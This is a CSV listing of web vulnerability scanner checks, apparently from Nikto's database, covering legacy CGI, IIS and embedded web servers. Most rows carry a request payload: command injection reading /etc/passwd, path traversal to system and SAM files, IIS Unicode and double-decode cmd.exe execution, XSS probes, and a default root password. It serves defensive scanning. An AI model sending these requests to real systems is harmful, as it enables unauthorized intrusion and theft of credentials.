"generic","@CGIDIRSperlshop.cgi","200","GET","v3.1 by ARPAnet.com; check info in Phrack 55 by RFP"
"generic","@CGIDIRSpfdispaly.cgi?'%0A/bin/cat%20/etc/passwd|'","root:","GET","This allows attackers to execute arbitrary commands on the host."
"generic","@CGIDIRSpfdispaly.cgi?../../../../../../../../../../etc/passwd","root:","GET","This allows attackers to read arbitrary files on the host."
"generic","@CGIDIRSpfdisplay.cgi?'%0A/bin/cat%20/etc/passwd|'","root:","GET","This allows attackers to execute arbitrary commands on the host."
"generic","@CGIDIRSphf","200","GET","Old and vulnerable? Or is someone messing with us...?"
"generic","@CGIDIRSphf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd","root:","GET","C'mon, this is REALLY old... upgrade out for years"
"generic","@CGIDIRSphf?Qname=root%0Acat%20/etc/passwd%20","root:","GET","This allows attackers to read arbitrary files on the system and perhaps execute commands."
"generic","@CGIDIRSphp-cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSphp.cgi?/etc/passwd","root:","GET","This allows attackers to read arbitrary files on the system and perhaps execute commands."
"generic","@CGIDIRSplusmail","200","GET","This CGI may allow attackers to execute commands remotely."
"generic","@CGIDIRSpollit/Poll_It_SSI_v2.0.cgi?data_dir=\etc\passwd%00","root:","GET","This CGI allows attackers to retrieve arbitrary files."
"generic","@CGIDIRSpollssi.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSpostcards.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSpost_query","200","GET","This might be interesting..."
"generic","@CGIDIRSpowerup/r.cgi?FILE=../../../../../../../../../../etc/passwd","root:","GET","The Powerup CGI allows attackers to read any file on the system."
"generic","@CGIDIRSppdscgi.exe","200","GET","PowerPlay Web Edition may allow unauthenticated users to view pages."
"generic","@CGIDIRSprocessit.pl","200","GET","This CGI returns environment variables, giving attackers valuable information."
"generic","@CGIDIRSprofile.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSpu3.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSpublisher/search.cgi?dir=jobs&template=;cat%20/etc/passwd|&output_number=10","root:","GET","AHG's search.cgi allows any command to be executed. www.ahg.com."
"generic","@CGIDIRSquery?mss=%2e%2e/config","MGMT_PW","GET","The Altavista search service allows attackers to read any file on the server."
"generic","@CGIDIRSquickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id=","root:","GET","This CGI allows attackers to read arbitrary files on the remote system."
"generic","@CGIDIRSquizme.cgi","200","GET","Mike's Quiz Me! CGI contained a bug which allowed arbitrary command execution (version 0.5), see http://freshmeat.net/users/mikespice/"
"generic","@CGIDIRSr.cgi?FILE=../../../../../../../../../../etc/passwd","root:","GET","The Powerup CGI allows attackers to read any file on the system."
"generic","@CGIDIRSratlog.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSreplicator/webpage.cgi/","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSresponder.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSretrieve_password.pl","200","GET","May not be vulnerable, but see http://www.dcscripts.com/bugtrac/DCForumID7/3.html for information."
"generic","@CGIDIRSrguest.exe","200","GET","This might be interesting..."
"generic","@CGIDIRSrksh","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRSrmp_query","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSrobadmin.cgi","200","GET","Default password: roblog"
"generic","@CGIDIRSrobpoll.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSrpm_query","200","GET","This CGI allows anyone to see the installed RPMs"
"generic","@CGIDIRSrsh","200","GET","Shell found"
"generic","@CGIDIRSrtm.log","HttpPost Retry","GET","Rich Media's JustAddCommerce allows retrieval of a log file, which may contain sensitive information."
"generic","@CGIDIRSrwcgi60","200","GET","Oracle report server reveals system information without authorization. See Oracle note 133957.1 - Restricting Access to the Reports Server Environment and Output"
"generic","@CGIDIRSrwcgi60/showenv","200","GET","Oracle report server reveals system information without authorization. See Oracle note 133957.1 - Restricting Access to the Reports Server Environment and Output"
"generic","@CGIDIRSrwwwshell.pl","200","GET","THC reverse www shell"
"generic","@CGIDIRSsawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1","root:","GET","Remote file retrieval."
"generic","@CGIDIRSsawmill?rfcf+%22SawmillInfo/SawmillPassword%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3","Unknown configuration","GET","The Sawmill CGI allows attackers to read the Sawmill password."
"generic","@CGIDIRSscoadminreg.cgi","200","GET","This script (part of UnixWare WebTop) may have a local root exploit. It is also an system admin script and should be protected via the web."
"generic","@CGIDIRSsearch.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini","[windows]","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","[fonts]","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRSsearch.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSsearch.pl?form=../../../../../../../../../../etc/passwd%00","root:","GET","The ROADS search.pl allows attackers to retrieve system files."
"generic","@CGIDIRSsearch.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&;Rank=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fluid Dynamics FD Search engine from http://www.xav.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02. Upgrade to FDSE version 2.0.0.0055"
"generic","@CGIDIRSsearch/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc","resolv.conf","GET","It is possible to read files on the remote server, this CGI should be removed."
"generic","@CGIDIRSsendform.cgi","200","GET","This CGI by Rod Clark (v1.4.4 and below) may allow arbitrary file reading via email or allow spam to be sent. CAN-2002-0710. BID-5286."
"generic","@CGIDIRSsendpage.pl","200","GET","Passes unparsed form input to command line"
"generic","@CGIDIRSsendtemp.pl?templ=../../../../../../../../../../etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
"generic","@CGIDIRSsession/adminlogin","200","GET","This might be interesting..."
"generic","@CGIDIRSsewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd","root:","GET","Default scripts can allow arbitrary access to the host."
"generic","@CGIDIRSsh","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRSshop.cgi?page=../../../../../../../etc/passwd","root:","GET","Remote file read retrieval."
"generic","@CGIDIRSshop.pl/page=;cat%20shop.pl|","\/perl","GET","Shopping Cart (Hassan) allows execution of remote commands. CAN-2001-0985."
"generic","@CGIDIRSshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSshopper.cgi?newpage=../../../../../../../../../../etc/passwd","root:","GET","Versions 1 and 2 of Byte's Interactive Web Shopper allow attackers to read files remotely. Uncomment the #$debug=1 variable."
"generic","@CGIDIRSshopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/passwd|","root:","GET","ShopPlus Cart allows arbitrary command execution. CAN-2001-0992."
"generic","@CGIDIRSshow.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSshowcheckins.cgi?person=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSsimple/view_page?mv_arg=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to execute commands on the host as the HTTP daemon owner."
"generic","@CGIDIRSsojourn.cgi?cat=../../../../../../../../../../etc/password%00","root:","GET","This CGI allows attackers to read arbitrary files."
"generic","@CGIDIRSspin_client.cgi?aaaaaaaa","200","GET","This CGI may be vulnerable to remote execution by sending 8000 x 'a' characters (check to see if you get a 500 error message)"
"generic","@CGIDIRSss","200","GET","Mediahouse Statistics Server may allow attacker to execute remote commands. Upgrade to latest version or remove from the CGI directory."
"generic","@CGIDIRSsscd_suncourier.pl","200","GET","Sunsolve CD script may allow users to execute arbitrary commands. The script was confirmed to exist, but the test was not done."
"generic","@CGIDIRSssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","root:","GET","The server install allows reading of any system file by sending encoded '../' directives."
"generic","@CGIDIRSstart.cgi/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSstat.pl","200","GET","Uninets StatsPlus 1.25 from http://www.uninetsolutions.com/stats.html may be vulnerable to command/script injection by manipulating HTTP_USER_AGENT or HTTP_REFERER."
"generic","@CGIDIRSstat/","200","GET","This might be interesting..."
"generic","@CGIDIRSstats-bin-p/reports/index.html","200","GET","This might be interesting..."
"generic","@CGIDIRSstats.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSstats.prf","200","GET","This might be interesting..."
"generic","@CGIDIRSstats/","200","GET","This might be interesting..."
"generic","@CGIDIRSstatsconfig","200","GET","This might be interesting..."
"generic","@CGIDIRSstats_old/","200","GET","This might be interesting..."
"generic","@CGIDIRSstatview.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSstore.cgi?StartID=../../../../../../../../../../etc/passwd%00.html","root:","GET","This CGI allows attackers to read arbitrary files remotely."
"generic","@CGIDIRSstore/agora.cgi?cart_id=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Agora.cgi is vulnerable to Cross Site Scripting (XSS), CAN-2001-1199, CA-2000-02."
"generic","@CGIDIRSstore/agora.cgi?page=whatever33.html","FILE:","GET","Agora.cgi gives detailed error messages including file system paths."
"generic","@CGIDIRSstory.pl?next=../../../../../../../../../../etc/passwd%00","root:","GET","story.pl versions older than 1.4 allow any file to be read remotely."
"generic","@CGIDIRSstory/story.pl?next=../../../../../../../../../../etc/passwd%00","root:","GET","story.pl versions older than 1.4 allow any file to be read remotely."
"generic","@CGIDIRSsurvey","200","GET","This might be interesting..."
"generic","@CGIDIRSsurvey.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSsws/admin.html","manager.pl","GET","Stepweb.com SWS search engine admin page is available. You may be able to change admin information without authentication."
"generic","@CGIDIRStablebuild.pl","200","GET","This might be interesting..."
"generic","@CGIDIRStalkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1","200","GET","Talkback CGI displays arbitrary files"
"generic","@CGIDIRStcsh","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRStechnote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely."
"generic","@CGIDIRStest-cgi.exe?<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Default CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRStest-cgi?/*","/tmp","GET","This CGI allows files to read remotely."
"generic","@CGIDIRStest.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRStest/test.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRStestcgi.exe?<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRStexis.exe/junk","Web Script","GET","Texis Web Script gives system path/information when an invalid file is requested."
"generic","@CGIDIRStexis/junk","Web Script","GET","Texis Web Script gives system path/information when an invalid file is requested."
"generic","@CGIDIRStextcounter.pl","200","GET","This might be interesting..."
"generic","@CGIDIRStidfinder.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRStigvote.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRStitle.cgi","200","GET","HNS's title.cgi is vulnerable to cross site scripting (XSS CA-2000-02). in version 2.00 and earlier, and Lite 0.8 and earlier."
"generic","@CGIDIRStpgnrock","200","GET","This might be interesting..."
"generic","@CGIDIRStraffic.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
"generic","@CGIDIRStroops.cgi","200","GET","This CGI may be a leftover from a hacked site; may be used to attempt to hack other sites.  It should be investigated further."
"generic","@CGIDIRSttawebtop.cgi/?action=start&pg=../../../../../../../../../../etc/passwd","root:","GET","Tarantell TTAWeb Top CGI lets remote users read arbitrary files."
"generic","@CGIDIRSultraboard.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSultraboard.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSunlg1.1","200","GET","web backdoor by ULG"
"generic","@CGIDIRSunlg1.2","200","GET","web backdoor by ULG"
"generic","@CGIDIRSupdate.dpgs","200","GET","Duma Photo Gallery System may allow remote users to write to any file on the system. See http://b0iler.eyeonsecurity.net for details. This could not be remotely tested."
"generic","@CGIDIRSupload.cgi","200","GET","The upload.cgi allows attackers to upload arbitrary files to the server."
"generic","@CGIDIRSUpload.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSurlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27Vulnerable%27%29%22%3E","<script>alert('Vulnerable')</script>","GET","urlcount.cgi on the Lil'HTTP server may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd","200","GET","ustorekeeper will display arbitrary files. CAN-2001-0466"
"generic","@CGIDIRSustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely. CAN-2001-0466."
"generic","@CGIDIRSview-source","200","GET","This may allow remote arbitrary file retrieval."
"generic","@CGIDIRSview-source?view-source","200","GET","This allows remote users to view source code."
"generic","@CGIDIRSviewcvs.cgi/viewcvs/?cvsroot=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version.  CA-2000-02."
"generic","@CGIDIRSviewcvs.cgi/viewcvs/viewcvs/?sortby=rev\"><script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","ViewCVS v0.9.2 from viewcvs.sourceforge.net and below are vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version.  CA-2000-02."
"generic","@CGIDIRSviewlogs.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSviewsource?/etc/passwd","root:","GET","Allows attacker to retrieve arbitrary files.  Remove from CGI directory."
"generic","@CGIDIRSview_item?HTML_FILE=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows reading of remote files."
"generic","@CGIDIRSviralator.cgi","200","GET","May be vulnerable to command injection, upgrade to 0.9pre2 or newer. This flaw could not be confirmed."
"generic","@CGIDIRSvirgil.cgi","200","GET","The Virgil CGI Scanner 0.9 allows remote users to gain a system shell. This could not be confirmed (try syntax like virgil.cgi?tar=-lp&zielport=31337 to open a connection on port 31337."
"generic","@CGIDIRSvisadmin.exe","200","GET","This CGI allows attacker to crash the web server. Remove it from the CGI directory."
"generic","@CGIDIRSvisitor.exe","200","GET","May be interesting..."
"generic","@CGIDIRSvote.cgi","200","GET","Mike's Vote CGI contained a bug which allowed arbitrary command execution (version 1.2), see http://freshmeat.net/projects/mikessurveycgi/"
"generic","@CGIDIRSvpasswd.cgi","200","GET","Some versions of this CGI allow attackers to execute commands on your system. Verify this is the latest version available."
"generic","@CGIDIRSvq/demos/respond.pl?<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","vqServer default CGI files are vulnerable to Cross Site Scripting (XSS), remove all default CGI files. CA-2000-02."
"generic","@CGIDIRSVsSetCookie.exe?","200","GET","A flaw in VsSetCookie.exe may allow attackers to guess a correct user name & gain access to the Lucent system. See http://www.securityfocus.com for more information."
"generic","@CGIDIRSw3-msql","200","GET","This might be interesting..."
"generic","@CGIDIRSw3-sql","200","GET","This might be interesting..."
"generic","@CGIDIRSway-board.cgi?db=/etc/passwd%00","root:","GET","Allows attackers to read arbitrary files from the server."
"generic","@CGIDIRSway-board/way-board.cgi?db=/etc/passwd%00","root:","GET","Allows attackers to read arbitrary files from the server."
"generic","@CGIDIRSwconsole.dll","200","GET","It may be possible to overflow this dll with 1024 bytes of data."
"generic","@CGIDIRSwebais","200","GET","This might be interesting..."
"generic","@CGIDIRSwebbbs.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSwebbbs.exe","200","GET","May be interesting..."
"generic","@CGIDIRSwebbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd","root:","GET","WebBBS by Darryl Burgdorf is vulnerable to command execution."
"generic","@CGIDIRSwebcart/webcart.cgi?CONFIG=mountain&CHANGE=YES&NEXTPAGE=;cat%20/etc/passwd|&CODE=PHOLD","root:","GET","webcart.cgi allows remote command execution. Upgrade to the latest version."
"generic","@CGIDIRSwebdist.cgi?distloc=;cat%20/etc/passwd","root:","GET","This CGI allows attackers to read files remotely."
"generic","@CGIDIRSwebdriver","200","GET","This CGI often allows anyone to access the Informix DB on the host."
"generic","@CGIDIRSwebgais","200","GET","The webgais allows attackers to execute commands."
"generic","@CGIDIRSwebif.cgi","200","GET","HNS's webif.cgi is vulnerable to allow remote users to rewrite diary entries if 'direct mode' is enabled in version 2.00 and earlier, and Lite 0.8 and earlier."
"generic","@CGIDIRSwebmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
"generic","@CGIDIRSwebmap.cgi","200","GET","nmap front end...could be fun"
"generic","@CGIDIRSWebnews.exe","200","GET","Some versions of WebNews are vulnerable to a buffer overflow. See http://www.nextgenss.com/advisories/netwinnews.txt for more info."
"generic","@CGIDIRSwebnews.pl","200","GET","WebNews may contain some default users in the binary: testweb/newstest, alwn3845/imaptest, alwi3845/wtest3452, testweb2/wtest4879"
"generic","@CGIDIRSwebplus.exe?about","Product Information","GET","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability. Vers prior to 4.6 build 561 and 5.0 build 554 have a buffer overflow."
"generic","@CGIDIRSwebplus?about","Product Information","GET","Webplus may divulge product information, including version numbers. Version 4.X and below have a file read vulnerability."
"generic","@CGIDIRSwebplus?script=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to retrieve files remotely."
"generic","@CGIDIRSwebsendmail","200","GET","This CGI may allow attackers to execute arbitrary commands remotely."
"generic","@CGIDIRSwebspirs.cgi?sp.nextform=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files."
"generic","@CGIDIRSwebutil.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
"generic","@CGIDIRSwebutils.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
"generic","@CGIDIRSwebwho.pl","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."," "
"generic","@CGIDIRSwguest.exe","200","GET","May be interesting..."
"generic","@CGIDIRSwhois.cgi?action=load&whois=%3Bid","uid=","GET","This script allows commands to be executed remotely."
"generic","@CGIDIRSwhois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","root:","GET","The whois.cgi allows any command to be executed on the system."
"generic","@CGIDIRSwhois/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","root:","GET","The whois.cgi allows any command to be executed on the system."
"generic","@CGIDIRSwhois_raw.cgi?fqdn=%0Acat%20/etc/passwd","root:","GET","Allows attacker to view any file (and possibly execute commands). Upgrade to latest version"
"generic","@CGIDIRSwindmail","200","GET","Some versions are vulnerable. Request 'windmail?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file"
"generic","@CGIDIRSwindmail.exe","200","GET","Some versions are vulnerable. Request 'windmail.exe?-n%20c:\boot.ini%20you@youraddress.com' (replace your address) and see if you get the boot.ini file"
"generic","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%","boot loader","GET","WINDMAIL.EXE can read arbitrary files"
"generic","@CGIDIRSWINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\",","200","GET","WINDMAIL.EXE can read arbitrary files"
"generic","@CGIDIRSwrap","200","GET","This CGI lets users read any file with 755 perms. It should not be in the CGI directory."
"generic","@CGIDIRSwrap.cgi","200","GET","possible variation: comes with IRIX 6.2; allows to view directories"
"generic","@CGIDIRSWS_FTP.ini","200","GET","Can contain saved passwords for ftp sites"
"generic","@CGIDIRSws_ftp.ini","200","GET","Can contain saved passwords for ftp sites"
"generic","@CGIDIRSwww-sql","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwadmin.pl","200","GET","Administration CGI?"
"generic","@CGIDIRSwwwboard.cgi.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwboard.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwstats.pl","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwthreads/3tvars.pm","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwthreads/w3tvars.pm","200","GET","This might be interesting..."
"generic","@CGIDIRSwwwwais","200","GET","wwwais has a vulnerability that lets attackers run commands as http daemon owner. Request 'CGIDIR/wwwais?version=version=123&' and 4096 bytes of garbage."
"generic","@CGIDIRSwwwwais","UNISYS WEB SEARCH ENGINE","GET","Unisys web server wais search found."
"generic","@CGIDIRSYaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI lets users read any file with http daemon's permissions. Upgrade to latest version"
"generic","@CGIDIRSYaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","YaBB 1 Gold SP1 and earlier are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSzml.cgi?file=../../../../../../../../../../etc/passwd%00","root:","GET","Ztreet Markup Language interpreter allows arbitrary file to be read remotely."
"generic","@CGIDIRSzsh","200","GET","Shell found in CGI dir!"
"generic","cgi-bin/htsearch?exclude=%60/etc/passwd%60","root:","GET","htsearch may allow retrieval of arbitrary files."
"generic","cgi-bin/htsearch?exclude=%60/etc/passwd%60","Unable to read word database file '","GET","htsearch may reveal file system paths."
"goaheadwebs","/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini","boot loader","GET","GoAhead Web Server 2.1 is vulnerable to arbitrary file retrieval, upgrade to the latest version."
"goaheadwebs","/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","GoAhead Web Server 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"goaheadwebs","/goform/CheckLogin?login=root&password=tslinux","MainPageTable","GET","The Cyclades' web user 'root' still has the default password 'tslinux' set, this should be changed immediately. Also, the id/password is hashed to create the sessionId cookie, which is bad."
"ibm","/\"><img%20src=\"javascript:alert(document.domain)\">","alert(document.domain)","GET","The IBM Web Traffic Express Caching Proxy is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"icecast","/file/../../../../../../../../etc/","200","GET","The Icecast server allows the file system to be probed for directory structure, but does not allow arbitrary file retrieval."
"iis","/................../config.sys","200","GET","PWS allows files to be read by prepending multiple '.' characters.  At worst, IIS, not PWS, should be used."
"iis","/../../../../../../../../../boot.ini","boot loader","GET","The remote server allows any system file to be retrieved remotely."
"iis","/../../../../winnt/repair/sam._","200","GET","Sam backup successfully retrieved."
"iis","/..\\..\\..\\..\\..\\..\\..\\boot.ini","boot loader","GET","It is possible to read files on the server by adding /../ in front of file name."
"iis","/<script>alert('Vulnerable')</script>.shtm","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"iis","/<script>alert('Vulnerable')</script>.stm","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"iis","/?\"><script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","IIS is vulnerable to Cross Site Scripting (XSS). See MS02-018, CVE-2002-0075, SNS-49, CA-2002-09"
"iis","/admcgi/contents.htm","200","GET","Default FrontPage CGI found."
"iis","/admcgi/scripts/Fpadmcgi.exe","200","GET","Default FrontPage CGI found."
"iis","/admentor/adminadmin.asp","200","GET","Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or ="
"iis","/admin/adminproc.asp","200","GET","Xpede administration page may be available. The /admin directory should be protected."
"iis","/admin/datasource.asp","200","GET","Xpede administration page may be available (this page reveals SQL account name). The /admin directory should be protected."
"iis","/admisapi/fpadmin.htm","200","GET","Default FrontPage file found."
"iis","/adsamples/config/site.csc","200","GET","This might be interesting..."
"iis","/advworks/equipment/catalog_type.asp","200","GET","Just found this file..."
"iis","/asp/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/asp/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
"iis","/bin/admin.pl","200","GET","Default FrontPage CGI found."
"iis","/bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
"iis","/bin/CGImail.exe","200","GET","Default FrontPage CGI found."
"iis","/bin/contents.htm","200","GET","Default FrontPage CGI found."
"iis","/bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
"iis","/bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
"iis","/bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
"iis","/blahb.ida","200","GET","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033."
"iis","/blahb.idq","200","GET","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033."
"iis","/c/winnt/system32/cmd.exe?/c+dir+/OG","Directory of C","GET","This machine is infected with Code Red, or has Code Red leftovers."
"iis","/carbo.dll","200","GET","This might be interesting..."
"iis","/certsrv/..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/certsrv/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
"iis","/cgi-bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
"iis","/cgi-bin/admin.pl","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/CGImail.exe","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/contents.htm","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
"iis","/cgi-bin/snorkerz.bat","200","GET","Arguments passed to DOS CGI without checking"
"iis","/cgi-bin/snorkerz.cmd","200","GET","Arguments passed to DOS CGI without checking"
"iis","/cgi-dos/args.bat","200","GET","Default FrontPage CGI found."
"iis","/cgi-win/uploader.exe","200","GET","This CGI allows attackers to upload files to the server and then execute them."
"iis","/clocktower/","200","GET","Site Server sample files.  This might be interesting."
"iis","/contents/extensions/asp/1","200","GET","The IIS system may be vulnerable to a DOS, see MS02-018 for details."
"iis","/exchange/lib/AMPROPS.INC","Logon functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/ATTACH.INC","File upload","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/DELETE.INC","deleting objects","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/GETREND.INC","GetRenderer functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/GETWHEN.INC","functions to construct","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/JSATTACH.INC","Attachment Javascript","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/JSROOT.INC","Javascript Functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/JSUTIL.INC","Common Javascript","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/LANG.INC","localized strings","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/logon.inc","Logon functions","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
"iis","/exchange/lib/PAGEUTIL.INC","functions that help","GET","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/"
